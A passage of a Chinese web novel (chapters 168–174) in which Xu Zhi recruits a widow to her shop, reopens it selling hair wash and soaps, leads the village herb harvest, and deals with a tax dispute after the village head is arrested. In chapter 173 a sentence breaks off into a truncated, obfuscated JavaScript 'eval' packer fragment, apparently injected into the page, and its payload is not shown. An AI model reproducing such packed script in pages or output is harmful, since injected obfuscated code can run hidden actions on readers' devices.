许芷着急的问道:“刘婶子,你真没事吧?” 不怪她问,刘喜英的头发好似刻意压过,但还是能看出凌乱来。 衣服穿的有些扭吧,脸色发红,许芷总觉得这是病了。 听到许芷这担心的问话,刘喜英尴尬一笑,“没事,婶子能有啥事儿。” 说完看到许芷不信的眼神上下扫了一眼自己,刘喜英看了看自己这局促的样子。 她呵呵笑了一声,解释道:“婶子这在家没事儿歇晌呢,这不是天热了,有自己一个人在屋头,所以就......” ‘自己一个人’这五个字,刘喜英说的格外用力。 许芷自然是不信的,若是脱光了在家歇晌慌什么,但是她看出来刘婶子有些遮掩,自然不会打破砂锅问到底。 做出让两人都尴尬的事情来。 所以她微微一笑,点头表示自己知道了,随即表明了自己的来意。 说完之后,看到刘婶子还没请自己进去说的意思,她口渴的厉害,只能自己开口: “婶子,我这刚跑了里正家和娇娇家,这会儿已经有些口干舌燥,要不我们进去水,也跟婶子你讨碗水喝。” 她的话音刚落下,屋里就传来了“嘭”的一声,好像是什么东西掉了。 许芷刚打算问,就听到刘喜英急忙解释。 “是老鼠!我家里最近来了只老鼠,我还没抓到,没事。” 许芷呵呵笑了一声,相信她的道:“我知道了,我家里有闹耗子的药,改日给婶子送点。” “哎,好。” 看到许芷信了,刘喜英瞬间轻松了些。 许芷看刘婶子实在没有请她进去喝口水的意思,就忍着又问了一遍刘婶子要不要去铺子里做工。 刘喜英刚刚没认真听,这会儿又听许芷问了遍,才清楚要干啥。 能赚钱的事儿她当然愿意,她刚想说行,可是想到自己去了城里,那两个孩子该怎么办? 想到孩子她的目光暗淡了些,答应的话堵在了嗓子眼说不出来。 看出了她的为难,许芷稍微一想就知道她在考虑什么。 于是她开口说道:“小业今年可有七岁了?” 刘喜英闻言点了点头道:“已过了生辰,七岁整了。” 许芷微微颔首,接着抬头看着刘婶子认真道。 “小业如今该上私塾了,村子里可没,最好的私塾在城里,您该为小业以后打算打算,黄叔生前教的那些可不够啊。” 听到许芷的话,刘喜英瞬间眼眸低垂,她知道许芷说的是对的。 可是城里的私塾那么贵,一年的束脩得好几两银子。 许芷继续道:“来我的铺子做工,一个月给你一两银子,加上每年租地的钱,怎么也够了。 而且我还管吃住,日后生意做大了,还要给你涨工钱,你好好想想,想清楚了您给我的准信儿。” 说完许芷颔首过,转身要走。 却被刘喜英叫住。 “许丫头,我听你的。” 许芷没有转身唇角微微勾起,“那明日还请婶子来我家一趟,我开始教你做东西。” “哎。” 刘喜英脆生的答应了,脸上充满了对未来的期待,笑容都深了几分。 许芷说得对,她也早就想过让儿子去私塾的事情。 可是自己能力有限,这件事在自己攒够钱之前只能是想想。 但许芷的提议真的很对,若是去了铺子里,那自己就有了稳定的工钱。 许芷还管自己吃住,他们一家三口花不了多少钱,钱都攒下来给儿子去私塾,那完全可以。 而躲在屋里的邓耧子,确认许芷走了之后,他松了口气走了出来。 “没想到许丫头会来,真是吓死人了。” 说着他走到刘喜英的身边,大手一捞把人抱进了怀里,想要把人带到里屋的床上继续刚刚被打断的事情。 只是刘喜英明显心不在焉,她推了几下邓耧子,却没推开血气方刚的汉子,她索性算了,任由他随便。 她有些不敢相信的问道:“你知道你外甥女来说了什么吗?” “什么?” 邓耧子心不在焉的回应。 不过他没说谎,他是真的不知道。 刚刚他都要吓死了,许芷说话声音又小,他一点没听见许芷说了什么。 “她说要让我去城里的铺子帮忙。” 此话一出,邓耧子瞬间愣住了,他停下了动作,看着刘喜英。 但刘喜英完全没察觉他的不对,而是继续兴奋的说着。 “去了城里,我就有钱给小业送到私塾,笑笑也能裹上更好的生活......” 她滔滔不绝的说了半天,最后她满脸期待的向邓耧子寻求认同。 可对方躺在她的身边,只有沉默。 第169章 两人吵架 刘喜英这才察觉了不对,但她以为是邓耧子觉得自己一直说这些事儿,打扰了他的好兴致。 她觉得不算什么大事儿,笑的有一点歉意的说道:“是我高兴昏了头,扫了你的兴,要不再来?” 可这话说出口之后,邓耧子的脸色更难看了。 她也没了刚刚那随意的样子,收了脸上的笑容,轻轻推了推邓耧子,问他怎么了? 邓耧子侧脸看她,眼神阴沉。 “我在你心中就是这种人?会因为这种事情生气?” 刘喜英有些慌,她试图让氛围轻松些,扯出了一抹笑,想温柔的说点什么。 可是还没开口,邓耧子“嚯”的一下起身,穿上衣服就要走。 刘喜英这才重视起来,她连忙跟着起身去抓邓耧子的胳膊,却没抓住。 眼看人要走了,她立即抱上去,语气哽咽的问道:“好端端的这是怎么了?” 邓耧子听到她要哭出来,还是软了几分,转身问她:“你去了城里那我咋办?” 刘喜英不明白,“什么怎么办?我只是去了城里不是天边?我们随时可以见的呀。” 邓耧子不耐道:“你刚刚说话的时候神色激动,你说到了小业,说到了笑笑,说到了你们一家三口,可唯独没有说到我。” 他本来听到刘喜英要去城里就有点不高兴,外甥女把村里的药田交给了自己,那他就得时时留在村子里。 那这样他跟刘喜英不就要一直分隔两地。 可是这还不是最让他生气的,最让他生气的是,刘喜英刚刚那么高兴的畅谈以后,但却丝毫没有提及自己。 所以他的脸色更差,又听到了刘喜英以为自己是没了兴致才生气,就更生气了。 刘喜英听到是因为这个,她一时语塞,不知道该怎么解释。 她为自己的孩子打算难道错了吗? 这不是很正常的事情吗? 何况她刚刚跟许丫头说的就是孩子们,回来之后顺口说孩子们的打算,她怎么想都没错啊。 可她还是软了语气哄着邓耧子说道:“那不是顺嘴说的嘛。” 邓耧子听到这个解释并不满意。 “顺嘴就说明你心里就是这么想的,所以才能顺嘴说出,你说不到我,是因为你心里没有我!” 听到这荒唐的论断,刘喜英眼眶瞬间红了。 她不敢相信的质问道:“我心里没你,我一个寡妇冒着千夫指的风险答应跟你好?我心里没你,我刚刚同你白天做这种事儿?” 听到这话,邓耧子心虚了些,他想说自己不是这个意思。 可是男人的尊严作祟,他鬼使神差的说出了:“有没有我你自己心里清楚。” 说完,他心想只要对方再说一句软话,他就立刻不生气。 可是刘喜英听到这话,自嘲一笑,生气的把人推出家门。 “我心里清不清楚不重要,重要的是你心里不清楚。” 说着关上了大门,。 邓耧子在外想要说几句好话,可是看着周围的邻居,他不敢大声说话。 想着要不然改日再来说开,所以他先回去。 而屋里的刘喜英透过门缝,看到他真的什么都没说就走开,心里先是放了秤砣,压的她喘不上来气。 她再也忍不住,背靠门板蹲下哭了起来。 她刚哭没多久就听到了门外有人敲门,她高兴地立马起身开门,却发现是玩完回来的一双儿女。 瞬间,她的眼神暗了些。 而本来高兴的兄妹俩,看到了母亲脸上的眼泪,笑容荡然无存。 “娘你咋了?” 小业担心的问道,而年纪小一些的笑笑躲在哥哥的身后,不敢上前。 刘喜英当然不可能让儿子为自己担心难过,尤其是看到笑笑躲闪的眼神,她心都是疼的。 所以她找了个借口回道:“娘是因为担心你俩,觉得你俩出去太久了,所以才哭。” 闻言,小业懂事的说道:“娘,你放心小业以后不会让你担心了,我以后一定乖乖在家。” 刘喜英尽力挤出笑容,她让自己的语气显得轻快些,说道:“小业,你想去私塾吗?” 听到私塾两个字,小业立即兴奋了。 “我想去,娘。” 说完想到自己家没钱,他又垂下头道:“没事的娘,我不去私塾也没事的。” 看到儿子懂事的样子,刘喜英倍感欣慰。 她的泪水彻底止住了,想到她的这一双儿女能好好地,她就觉得幸福高兴。 第二日,许芷正在整理昨天又去城里买回来制膏沐和皂儿膏的材料。 刘喜英带着儿女过来了。 许芷见到人,赶紧请进来。 她看着满院子放着的东西,好奇的问许芷:“这些就是你做膏沐和皂儿膏的东西?” 许芷“嗯”了声道:“我从头开始教婶子你做这些东西。” 说完对笑笑和小业说: “笑笑,小业,你们孟姨做了你俩最喜欢吃的梅子渍桃干,快去屋里吃吧,吃完在屋里耍,先不要出来打扰你娘和我好吗?” 听到有梅子渍桃干,两个孩子早就急不可耐要进去了,一口应下跑进了屋里。 而这时王茹娇也过来了,她笑着跟刘喜英打招呼。 “刘嫂子,你也来学呀。” 刘喜英哎了声,两人开始跟着许芷一点点学起来。 许芷先从这些要做的料一个个介绍起,介绍完了之后,开始教他们怎么做。 正学着,邓耧子过来了。 许芷不意外,刘婶子在自己家,舅舅肯定很快就过来。 只是她发现,刘婶子看到舅舅来的时候,眼神闪烁,脸色白了几分。 而舅舅向来不怕的性子,今日眼神竟然也躲躲闪闪的,不看刘喜英。 许芷只当他俩是心虚又害羞。 毕竟昨天的事情虽然当时许芷没反应过来,但是去城里的路上,她骑马的时候想到了。 虽然她并未经人事,可是有些事情她也听过,话本子也看过一些。 当时她就有些脸红,有些后悔,怎么那么会挑时候。 所以这会看到两人的异常,她只是以为是因为昨天的事情,两个人在她面前尴尬的不行,才会有这种反应。 许芷也觉得尴尬,只是她尽力让自己看起来冷静,教着王茹娇和刘喜英。 索性邓耧子没停留,更没有说话,只是快速的进了屋。 经过一个多月的学习和制作,许芷、王茹娇和刘喜英终于做出了足够铺子重新开张的东西。 第170章 财大气粗 五月十一,天气晴朗。 乾坤铺子重新开了张。 这次许芷大张旗鼓的请了舞狮队和鼓队,还把王家和张家都请了过来一起看铺子开张。 鞭炮声响,乾坤铺子正式开了张。 许芷站在铺子门前,笑着跟来往的客人介绍自己这铺子里都卖了什么。 不少之前买过汤药的客人,今日见她开了张都过来捧场。 买不买是一回事,但是都自觉来给许芷撑场子。 第一天开张,店里要看着热热热闹闹的才好。 进了铺子,看到里面跟之前卖汤药的时候又不一样了。 原来的卖饭卖汤药的窗口,变成了收钱的账台。 账台的后面和旁边的柜子上都放着满满的东西,有些用瓷瓶装,有些用竹筒装,还有好多用油纸布包着的东西。 一位大娘好奇的问许芷:“你这些都是啥呀?” 许芷笑着跟大家介绍:“大娘,这些就是我刚刚跟大家说的铺子里卖的膏沐和皂儿膏。 我们的膏沐大体分三种,花香的、药香的和薄荷香的,其中花香的还可以分为桂花香、茉莉香、荷花香和兰花香。 各位乡亲,可以依照自己心仪的味道买。” 说完她让王茹娇站过来。 她提前让王茹娇梳了个半披发的发式,那头发乌黑明亮,摸起来如同绸缎般光滑。 许芷看着大家惊奇的眼神,乘胜追击道:“这就是用了我们家的膏沐洗出来的头发,这效用大家眼见为实。” 众人纷纷惊叹着膏沐竟有着妙用,还说许芷的膏沐看起来比城里的芳春阁卖的还要好。 芳春阁可是城里的老店了,大家买洗发、沐浴用的东西都去那里。 许芷又介绍了铺子里的十二种皂儿膏,每一款都不一样,每一款的效用许芷都说的清清楚楚。 “那芳春阁的皂儿膏不过五六种,而且除了香味不同,功用倒是一般,可这许掌柜的铺子里竟然有十二种,还样样不重复,都有妙用,许掌柜真是厉害啊。” “是啊,没想到这许掌柜看着小小年纪,实际上如此能干。” 闻言,许芷笑着自谦道:“这可不是我一个人的功劳,是我铺子里这么多伙计跟我一起努力的结果。 大家都进来看看,本店应有尽有,一定能让你选到心仪之物。” 说着她将人都请进了铺子里,介绍了各种功用的香囊,还有药枕。 许芷刚开始还打算做药被,但是那个工程太大了,不是一天两天能做出来的。 她打算等到真有了人需要,再去做。 看着那精美的香囊,那上面绣的东西是那么的栩栩如生,不少人冲着这个也要买。 许芷看着香囊很快买完,心里别提多高兴。 药枕贵些,而且家家户户都有枕头,并不是十分需要,只卖出去了三个。 那些皂儿膏和膏沐,也是年轻女子买的居多。 但这只是头一日,许芷已经觉得很不错了。 傍晚关了铺子,许芷在桌前算了算今日的流水。 王茹娇和孟雨兰就坐在她旁边,吃着刚买来的枣泥酥。 等着许芷把账算完。 铺子又开了张,把王金宝也重新请了回来。 店里早就收拾过了,但是他还是闲不住,在旁边擦放东西的架子。 终于,在他擦完一遍的时候,许芷放下了毛笔,算完了今日所赚的钱。 “十五两。” 许芷道。 “十五两?!” 王茹娇和孟雨兰听到十分震惊的重复一遍。 而在后院收拾住的地方的刘喜英听到声音,也赶了过来。 看到她过来,王茹娇高兴故意问她:“刘嫂子,你猜咱们这铺子今日赚了多少?” 刘喜英笑着摇摇头,“这我咋会知道嘛。” 王茹娇走上前,双手拍到刘喜英的肩膀上,激动地一字一句道:“十五两!” “这么多啊,许丫头可真厉害。” 刘喜英高兴道。 许芷拿出来一些,分给了没人两钱,道:“这些钱给大家,算是开张头一天给大家的开业红封。” 大家看到桌子上的钱,虽然高兴,但是面面相觑,没有一个人先上前拿着。 许芷看着大家客气的样子,直接把每个人的钱都送到了手里,除了王金宝的钱,许芷只是递了过去。 大家拿到钱之后,都高兴的感谢许芷。 许芷微微叹了口气说道: “我知道这些钱并不多,但是咱们今日卖的东西多些,好多都要补货。 我还要进货继续制那些东西,所以暂时只能给大家这么多。” “不少不少,这可不少。” 王金宝摆摆手,连忙说道。 “就是,小妹啊,你就是太财大气粗了,普通的伙计一天能赚二十文就不错了,我们这可是十倍。” 孟雨兰也跟着说道。 从前她跟娘在大户人家当绣娘,娘那么厉害一个月才二两银子。 她虽然绣工不错,可是还没多少绣品,月钱三钱。 所以这可是不少。 王茹娇和刘喜英就不说了,两个人有钱赚就行,多少许芷肯定都不会亏了她们。 因为是头一天开张,许芷决定晚上带大家去醉春风吃一顿。 听到能吃顿好的,大家都欢呼雀跃。 一行人赶紧关了店去醉春风吃酒。 酒过三巡,许芷端起酒杯对他们郑重说道: “按辈分,在座的各位都是我的长辈,但是我敢保证一定会带着大家过上锦衣玉食的好日子。 这铺子不是我一个人的,是大家的,没有大家我也开不起来,所以为了我们的铺子,大家一定要努力,赚了钱大家分。” 这话让大家都很激动,尤其是王金宝。 过惯了在别人手下讨生活的日子,头一次有掌柜的说这种话,他心里的感受简直没法形容。 那是一种激动、喜悦、庆幸和苦尽甘来的感受,复杂到让他流了泪。 他也同样郑重地承诺道:“掌柜的,你放心,因为你我才有今天,我一定会努力,让咱的铺子名震升城,甚至震到京城!” “好!” 几人雄心壮志的喝下了杯中酒。 因为喝酒,几人晚上都没回村里。 住在了铺子后面的屋里。 王金宝还是自己的房间。 许芷、王茹娇和孟雨兰挤了一间房,还好床够大。 而刘喜英一家三口一个房间,正好三个房间能住下。 第171章 八月暑退 乾坤铺子的东西,刚开始众人只是冲着香囊的绣样精致买的。 以及冲着许芷之前卖汤药救了好多人的恩情买。 可是大家买了回去才发现东西那么好用。 膏沐洗完头发似绸缎,还脏的慢,洗一次能顶好多天。 皂儿膏洗完身上滑溜溜的,身上还带着淡淡的香味,那些年轻的姑娘们,别提多喜欢了。 不过几日,许芷的乾坤铺子彻底出了名,每日来铺子里的人络绎不绝。 许芷和王金宝在前面招呼着客人,而王茹娇她们三个在后面牟足了劲儿补货。 不过半个月,这三人就有些吃不消了,实在是卖的太多太快。 许芷也没想到,她以为这种洗发和沐浴的东西,买一回能用很久。 大家不会那么快再来买,没想到好多人都是买好多个,送人也好,自己屯着也好,总之都怕买不到。 甚至有人想要集齐所有款式的皂儿膏。 许芷因为这个得到启发,还推出了多块购买优惠的策略。 有六个和十二个装,里面的种类也可以挑选。 哪怕是十二个装的,也可以全部都是一个种类,或者十二个不同的种类。 由此,生意更加火爆。 盛夏来临,铺子里热了许多。 尤其是在后院做皂儿膏和膏沐的王茹娇和刘喜英都更热。 她们两个得守着火做这些东西。 许芷为了让她们俩没那么累,轮换着大家一起做。 她还特意去买了些冰放在铺子里,让大家和来买东西的人凉爽些。 此时店里的人已经少了很多,毕竟大家之前买了太多的东西,而这些东西都不是很快能用的完的。 大家也就闲了许多。 做一次东西大概能顶个七八日,没事的时候几人就坐在一起吃点东西聊聊天。 因为天热,孟雨兰每日都给大家做冰酪吃。 许芷也会配了夏日清爽降火的药,煮了大家喝。 铺子的生意有条不紊,渐渐到了八月暑退的时候。 早晚都开始渐渐冷了起来,但中午的日头还是很毒辣。 刘喜英攒够了钱,送小业去了城里最大的私塾,莲池书院。 一切都在往好的方向发展。 秋天到的很快,马上快到了药田丰收的时候。 在此之前,许芷他们日夜兼程,加急做了一大批铺子里需要的东西。 为此,他们整整有半个多月没回村子里。 然后将刘喜英和王金宝留在铺子,剩下的人都回去村子里收药。 其实许芷原本只让她和王茹娇回去。 孟雨兰的手要刺绣需要保护着,许芷不想让她回去做饭干活。 还是孟雨兰坚持要回去,她保证自己不去地里干活。 但是她说地里忙起来的时候,大家都没空没劲儿做饭,她在家里给大家做上好吃好喝的,这样大家吃的好些也能缓解身上的疲累。 拗不过孟雨兰,许芷只能让她一起回来了。 许芷前脚刚到家,后脚里正就过来了,他来问许芷地里的药苗什么时候能收。 “里正您别急,我才从城里回来,让我去地里看看就清楚了。” 许芷说完,跟里正一起去了地里看药苗。 看过之后,许芷确定有一些熟成早的药苗已经可以丰收了。 许芷让里正通知了大家,这次可以丰收的药苗,谁家种了这些药苗,明日准备好,吃过早饭开始收药苗。 但是第二日,许芷到地头的时候,发现大家都来了。 许芷疑惑的问道:“怎么都来了?” 有人笑呵呵的回答道:“许丫头,人多力量大,大家都一起来,这样收的快。” “对呀,许丫头,我听人说这药苗可珍贵了,要是不能快点收,药性就差点。” “没事许丫头,我们都愿意,而且学学各种药苗收的方法,我们又不亏,了解的多些是对的。” 许芷愣住,随即展露笑颜,她欣慰道:“好,那咱们也别分谁的地,大家一起收,早日把药苗都收了,早日卖钱大家好分!” “好!” 这一声震天响。 下坪村有一次复现了这样热闹齐心的场面。 许芷将这次丰收的药苗收获的方法都演示过,所有人学会了之后开始投入药田中,牟足了劲儿干活。 不过三天,上百亩的药田就收完了。 收完之后,许芷、王茹娇和舅舅邓耧子马不停蹄的开始制药。 抽空,他们还要制铺子里需要的东西。 这一个月可把许芷他们忙坏了。 尤其是许芷,两边跑,所有的事情她都亲力亲为,一点不推诿。 终于在十月中的时候,所有的药材都制好了。 许芷一大早承载了所有村民的希望去了城里卖药。 一部分她自己需要的药材,就直接运到了自己的铺子。 这两三个月铺子也赚了不少钱,她虽然不能完全负担这些药钱,但是她只需要给大家下一年的租地钱和工钱,还是能给的起。 剩下的不要的药材,她又卖给了怀清堂。 但那些她用不上的药材,也买了不小一笔钱。 卖了钱许芷第一件事就是回村里,给大家发工钱! 许芷拿着钱回村的那一刻,前呼后拥的村民都涌着她。 无奈她开口道:“大家莫急,钱已经到手了,等我理清了名单和钱,明日在里正家中给大家发。” 发钱的事儿,大家没什么不乐意的。 纷纷都等到了第二日,许芷拿上了新一年的租契,还有工钱去了里正家中。 大家见了钱续租续的十分爽快。 所以当即都签了下一年的租约,所有人带上工钱和租金,一下拿了十几两,各个都兴高采烈地,觉得发了财。 一时间,下坪村笼罩在一片喜悦的气氛中。 大家添新衣、买肉吃,所有人都喜气洋洋。 见面打招呼不再问吃了没,而是问今日又买什么了? 里正看到所有人的笑脸,他只觉得心里太舒畅了,全村人都富了,他心里骄傲啊。 同时对许芷也是更加感谢。 他明白心里再怎么感谢都是空的,不如给许丫头点实际的。 所以他特意去买了两个大肘子送到了许芷的家里。 许芷知道这是里正的一番心意,并未推脱,直接收下了。 可得了钱下坪村的人没高兴几天,就出了事儿。 第172章 里正被抓 十月底,外出买药苗的许芷刚进了村,马车就被拦住。 许芷疑惑的看着马车前拦着的王茹娇,还没开口问。 看到王茹娇慌张的说道:“小芷,出事儿了,里正被县衙的人抓走了!” “什么?!” 许芷一听来不及问怎么回事,拉上王茹娇立刻掉头去了县衙。 路上,许芷开始问王茹娇怎么回事。 王茹娇匀了气,开口解释说:“小芷,不知道外村的哪个腌臜货,去县衙举报我们村用药田赚钱没交相应的人头税。 县衙一听,当天就来人把里正叔抓走了。 但是咱们该交的粮食一点没少交,那些钱都是额外挣得,怎么会有人如此阴险,这样坑害咱们村。” 听了王茹娇的话,许芷大概知道了,应当是村里人有了钱阔气。 被外村的人看到眼红,所以故意去县衙告他们一状。 就算是他们交够了粮食,但是粮食是粮食,钱是钱。 要是能多收一笔钱,县衙有什么不愿意的。 他们的县令其实是个不错的人,倒不是说多为民着想,或者说多么的勤政。 而是该他做的事都做,不贪也不滥用权势。 可是税收多了笔钱,他的政绩上也好看,许芷已经能想到里正为什么会被带走。 按说,这件事若是县衙的人来找,直接答应补交税款就好。 可是县衙的人应该是让村里人出这个钱,里正肯定不愿意,跟县衙的人解释,但人家要是听的话,也不会带走了他。 这其实没什么好说的,县令要这笔钱,给他就是。 因为着急,不到半个时辰,三人已经进了城。 到了县衙,许芷跟门口守着的捕快说了来意,已经做好了这人为难自己的准备。 甚至来的路上许芷都在手心捏好了银子。 只是那捕快一听根本没有为难,立马进去禀告了县令。 不消一会儿,那捕快又出来跟许芷说可以进去了。 许芷抬脚着急的往里进,但那捕快又叫住了她,笑的和善开口道: “许掌柜能否给我留一块你那桂花美人皂?我有个相好的,一直想买,只是这款卖的太快,老是买不到。” 闻言,许芷算是懂了这捕快为什么这么好说话,有求于自己也是好事。 她爽快的答应了下来,让他明日去店里,自会给他留。 一听这事儿答应了,那捕快笑的更深了,哎了声,让许芷赶紧进去吧。 许芷进了县衙,还没见到县令,先见到了王桥。 王茹娇见到哥哥,瞬间有了主心骨,赶紧上前,问:“哥,张叔没事吧?” 王桥微微叹了口气,没心情说好话,“你们快跟我过来。” 三人赶紧跟了上去,进了厅堂看到了县令端正的坐在堂上。 见到几人前来,他立刻板起了脸。 “哪位是许芷啊?” 闻言,许芷上前一步,不卑不亢道:“大人,正是草民。” “我且问你,下坪村的药田是你撺掇的吗?” 这用词有意思,许芷心想,撺掇这词用的,好像她是个奸诈小人。 她思索片刻的瞬间,县令已经不耐的皱起了眉头。 “嗯?为什么不回答?” 感受到了县令的不满,她紧跟着赶紧回答。 “回县令,是也不是。” 县令听到这话,脸上的不悦感更重。 他生气的看着许芷,“说什么囫囵话?是就是是,不是就不是,是也不是算什么回答!” 听到县令如此生气,王桥、王茹娇和邓耧子都为许芷捏了把汗。 王桥上前一步,正打算为许芷说点什么。 就听到了许芷开口回答。 只听她冷静回答道:“县令,请您稍安勿躁,听草民解释一番。 草民说是,是因为下坪村大家的这些地,确实是被我租走了。 至于不是,则是我并没有撺掇他们干什么,不过是在他们保证人头税和粮食够吃的前提前赚了点闲钱而已。 若是需要我们额外交什么人头税,便算我一人交即可,毕竟这些地都是我租了,应该是我交税才对 久闻县令刚正不阿,秉公执法,定然能想明白其中关窍,草民在这恳求县令放了我们村的里正吧。” 说完她跪下磕头在地,久久不起。 可说完这话,县令的脸色更黑了些。 “你该知道若是你认下这是你一个人的地,这么多亩地,私占良田可是犯法的!” 许芷闻言忙起身,解释道: “县令,这些地不是我的,只是我租了而已。 而且租期只有一年,一年过后,若是不续租,这地我肯定没有种的权力。” “那如今也是你自己在种,听说是种了什么劳什子药苗,这可不符合律法!” 县令盯着她,气势十分具有压迫感。 尽管这眼神并未分给他人,可王茹娇和邓耧子还是觉得背后嗖嗖冒冷汗。 两个人感受到了腿软,差一点就要跪下。 反观许芷,明明县令那压迫的眼神,都在她的身上。 可她那脊背仍然挺直,看着一点都没有被吓到。 她仍旧淡定从容,继续解释道: “这些地确实是被我用来种药苗了,若是有交税的需求,那我作为本朝百姓,定然义不容辞。 只是这药苗跟村里的其他人无关,据我所知,他们虽然租了一部分地给我,可是每年上交的人头税并未少。 所以这事儿县令您跟我说就行,应当把我们村的里正放了。” 听到许芷提到了交税,县令心想这丫头还挺识时务,知道主动提出这件事。 那他也不必端着吓她,只是他毕竟是县令,也不能前后两幅面孔,有损形象。 所以他故意绷着声音质问:“什么时候轮到你这么个丫头教我做事?” 许芷知道县令的目的就是交税,所以自己主动提出,县令一定会顺着走。 如今这番,不过自维护县令的尊严。 所以她立刻放低了姿态,磕头不起,装作惶恐的样子,解释道: “草民哪敢教县令你做事,只是解释一番,不想言语有些不当,冲撞了县令,草民该死。” 看她如此,县令觉得差不多了,再吓万一把人吓坏了不敢弄那药田,那他还怎么收这笔钱。 于是他轻咳一声,深明大义道: “本官念在你认错态度良好,便不多与你计较,只是这税款你必须得交上。 我给你三日,过时不候,若是没交上你就等着蹲大牢吧!” 说完直接甩袖走人。 第173章 买金疮药 看到县令离开,王茹娇和邓耧子才松了口气。 赶紧上前将许芷扶起来。 王茹娇后怕的说道:“小芷,真是吓死我了。” “这不是解决了,没事。” 许芷笑的淡然。 而邓耧子则是担忧的看向许芷,问道:“这得交多少钱啊?怎么能让你一个人揽下呢?” 对比他的愁容,许芷洒脱多了。 她回答道:“这些地本就是我租用过来种药田的,大家不过是挣个租地钱和帮我种药苗的钱,自然应该我来交税钱。” 他还想说些什么,但是许芷摆摆手让他不要说了。 “既然事情解决了,我们带着里正先回村子。” 许芷的话音落下,王桥也点点头同意道:“没错,我去带里正过来,你们在门口等着我。” 说罢,他就出去了。 而许芷三人则是出了府衙,路过门口那个捕快的时候,他还冲着许芷笑了笑。 许芷也浅笑回应,让他明日一定要去店里拿皂儿膏。 她和王茹娇等在门口,舅舅邓耧子则是去把马车赶过来。 很快,他们三人都站在马车前,望着门里的方向等着里正过来。 只是人还没过来,先听到了一阵低抑的呻吟声。 紧接着就看到王桥扶着脸色苍白的里正出来了。 邓耧子赶紧上前,跟王桥一起扶着里正。 “叔,你这是咋了?” 里正痛的倒吸凉气,缓了缓才磕磕绊绊的回答道。 “没事儿,就是挨了几下板子。” 说完看到王茹娇的脸色明显吓到了,他又故作轻松道:“这没啥,我要是年轻的时候,上百下也撑得住,这不是年纪上来了。 但是很快就能好。” 王桥跟邓耧子配合着把人搀扶上了马车之后,他开口道:“那你们先回去,有什么事儿等我晚上回去再说。” 许芷说了声谢,带着王茹娇上了马车。 她把马车里的垫子放在了里正的身下,让他能好受些。 同时她跟舅舅说去乾坤铺子,先弄点药让里正用上再说。 听到要去乾坤铺子,邓耧子愣怔了一瞬,但还是没说二话,赶着马车去。 很快马车就到了铺子停下。 看到里正受了伤,刘喜英赶紧跑过来,急匆匆的问缘由。 但是这会儿来不及解释。 许芷让王金宝帮忙,跟邓耧子一起把人先搀扶到后院的屋里。 然后拿出了铺子里备着的金疮药,让舅舅进去给里正的创面撒一些。 而她则是赶紧抓了些镇痛消肿的药,泡上了水,打算在铺子里煎上药给里正喝。 等到这药罐子煮沸换了小火慢慢煎着,她又配了几服药,让里正到时候回家煎了喝。 看她忙完了,刘喜英才敢靠过去问怎么回事。 王茹娇生气的说了这件事,刘喜英面露愁色,嘴上嘟囔着:“怎么会这样呢?” 许芷看了下药炉中的火,淡定道:“正常,我们村子的人赚了钱,总有人看到会眼红的。” “你就不生气嘛,许丫头,本来若是他们没人搞这一出,你也不用多出这个钱。” 刘喜英心疼的说着。 别人不知道许芷有多辛苦,他们还能不知道吗? 尤其是收草药这一段时间,她一边在村子里忙着教大家收草药,自己又制草药,同时还不忘了给铺子里添货。 有一次她跟王茹娇来送货,听王茹娇说许芷那几天就睡了两个时辰。 所以这钱都是许芷这么辛苦赚到的,她付出的可一点都不少,凭什么要出这些钱。 而许芷看着她义愤填膺的样子,还安慰她说道: “没事,缴税款本来就是律法规定的,是我考虑少了,要不然也不会让里正挨这顿板子。” 许芷是真觉得对不住里正,本身年纪也大了,这一顿板子下来,不说休养时间长。 万一因为这个落下了什么病根,许芷心里可就真的过不去了。 想到这,许芷赶紧又配了些药材,拿了个孟雨兰早就绣好的枕头,将药包放了进去。 铺子里的金疮药不多了,许芷打算去怀清堂再买一瓶。 虽然铺子里也有草药,但是种类不够做金疮药的,而且做的过程也很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“耧子啊?耧子?” 他赶紧过去,原来是里正想要上茅房,他只能先照顾里正,不再想出去的事情。 第174章 夫妻打架 许芷先走到了衙门门口。 那捕快看到她,笑着跟她打招呼。 “许掌柜,你怎么又来了,是有什么事儿吗?” 许芷将手里的皂儿膏递过去,“来给你送这个。” 黄松看到皂儿膏,脸上的笑容更深了。 他立刻接住,有些不好意思的开口说道:“许掌柜,你这也太客气了,我去拿就成。” 许芷不在意的回道:“没事,我正好有事儿要办,路过这里,就顺道给你拿过来。” 说着黄松就要去怀里拿钱给许芷,但是许芷摆了摆手拒绝。 黄松看到许芷拒绝他的脸色僵了一瞬,不同意道:“许掌柜肯给我留一块就已经是照顾我,怎么能不要钱呢?” 话音落下,手里的钱强硬的放到了许芷的面前,让她一定要拿着。 见许芷不拿,他又说道:“许掌柜要是不拿,我这可就是有被贿赂的嫌疑,是要挨板子的。 就当是为了我好,许掌柜拿着吧。 真要是还觉得想感谢我,不如等日后去店里的时候便宜点。” 闻言,许芷只好收下了,还笑着承诺道:“日后,不论是捕快你来我们铺子,还是你的心上人,都给你们便宜两成。” “好。” 黄松高兴的应下。 许芷和刘喜英先去了怀清堂。 杜仲见到许芷第一句话就是祝她生意兴隆,哪个做生意的听到这话都高兴。 所以许芷很是高兴的给了杜仲一钱银子。 杜仲也不含糊,这是他嘴甜应得的,所以他立马收下了。 问过许芷要的是几瓶金疮药,他利索的将许芷要的东西拿出来。 如往常一样,他去了交代了一声,给许芷最便宜的价格。 买过之后,许芷和刘喜英去了市井买菜。 虽然刘喜英是有因为邓耧子的原因要出来,但是铺子里的菜确实不多了。 今天铺子里人多,菜和米都不够。 许芷看到市井有新鲜的鱼,这个季节挺难得的,就要了两条。 又买了两斤羊肉、三斤排骨和一个猪蹄。 菜就买了五颗大白菜、几根白萝卜,还有一些干菜。 差不多就够吃了。 又去粮铺和油铺买了米面油,两人拿着东西晃悠悠的回了铺子。 到了铺子之后,里正已经起来在前厅慢慢的走着。 许芷见到,将东西立刻放下,去扶里正。 “张爷爷,你这会儿该躺着,可别乱走动。” 里正闻言,笑着回答:“无妨无妨,我在那县衙牢里待了两天,一直趴着闷得慌。 这没想到放出来,就是换到了床上趴着,我就想出来看看你这铺子,也算是透透气。 而且你那药真是好用,我这才用上多久啊,就不怎么疼了。” 如此,许芷也就不说什么了。 而她走之前让王茹娇看着的药,如今已经煎好,王茹娇倒了出来,端了过来。 